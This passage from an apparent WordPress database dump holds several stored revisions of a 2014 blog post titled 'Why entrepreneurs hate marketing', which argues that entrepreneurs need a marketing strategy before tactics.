stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-5', '', '', '2014-08-19 11:01:54', '2014-08-19 18:01:54', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-5/', 0, 'revision', '', 0),
(2722, 2, '2014-08-19 11:05:34', '2014-08-19 18:05:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-6', '', '', '2014-08-19 11:05:34', '2014-08-19 18:05:34', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-6/', 0, 'revision', '', 0),
(2723, 2, '2014-08-19 11:05:39', '2014-08-19 18:05:39', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs will try just about anything if they believe it will grow their business. When it comes to marketing their business (especially when they need business), entrepreneurs will jump into action. However, having the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-7', '', '', '2014-08-19 11:05:39', '2014-08-19 18:05:39', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-7/', 0, 'revision', '', 0),
(2726, 2, '2014-08-19 11:18:54', '2014-08-19 18:18:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-10', '', '', '2014-08-19 11:18:54', '2014-08-19 18:18:54', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-10/', 0, 'revision', '', 0);
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(2724, 2, '2014-08-19 11:12:51', '2014-08-19 18:12:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-8', '', '', '2014-08-19 11:12:51', '2014-08-19 18:12:51', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-8/', 0, 'revision', '', 0),
(2725, 2, '2014-08-19 11:12:54', '2014-08-19 18:12:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you 